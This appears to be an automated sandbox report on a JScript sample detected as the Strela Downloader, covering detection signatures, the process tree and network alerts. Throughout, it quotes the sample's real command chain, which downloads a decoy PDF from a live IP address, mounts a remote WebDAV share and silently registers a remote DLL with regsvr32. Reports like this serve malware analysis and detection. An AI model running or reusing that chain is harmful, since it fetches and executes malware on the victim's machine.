Edit tour

Windows Analysis Report
145332287313130856.js

Overview

General Information

Sample name:	145332287313130856.js
Analysis ID:	1587523
MD5:	0e10a7551a4b906a65192c509663d7e6
SHA1:	4878c5aca0a76636de0a384ee300326b5251ed48
SHA256:	feb7f856efb851a5ca4fa254af0cfa28803ee68e814d9ea4b07cd1b906739610
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 5440 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\145332287313130856.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 1492 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22122367613228.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2020 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 3852 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 6500 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 5260 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 6508 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1664,i,16391805749423070974,18443952903317464873,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 3840 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 6720 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 4672 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 5440	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22122367613228.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1492, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 3852, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22122367613228.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1492, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 3852, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\145332287313130856.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\145332287313130856.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\145332287313130856.js", ProcessId: 5440, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 6720, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49705

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22122367613228.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22122367613228.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\145332287313130856.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5440, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22122367613228.dll, ProcessId: 1492, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22122367613228.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22122367613228.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\145332287313130856.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5440, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22122367613228.dll, ProcessId: 1492, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22122367613228.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22122367613228.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\145332287313130856.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5440, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22122367613228.dll, ProcessId: 1492, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22122367613228.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22122367613228.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\145332287313130856.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5440, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22122367613228.dll, ProcessId: 1492, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22122367613228.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22122367613228.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\145332287313130856.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5440, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22122367613228.dll, ProcessId: 1492, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\145332287313130856.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\145332287313130856.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\145332287313130856.js", ProcessId: 5440, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22122367613228.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1492, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 3852, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3840, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6720, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 4672, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3840, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6720, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22122367613228.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22122367613228.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\145332287313130856.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5440, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22122367613228.dll, ProcessId: 1492, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T14:25:07.596358+0100	1810005	1	Potentially Bad Traffic	192.168.2.5	49705	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T14:25:04.800989+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	49704	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 145332287313130856.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 145332287313130856.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.5:49705 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 13:25:04 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: global traffic

TCP traffic: 192.168.2.5:49705 -> 193.143.1.205:8888

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:49704 -> 193.143.1.205:80

Source: global traffic

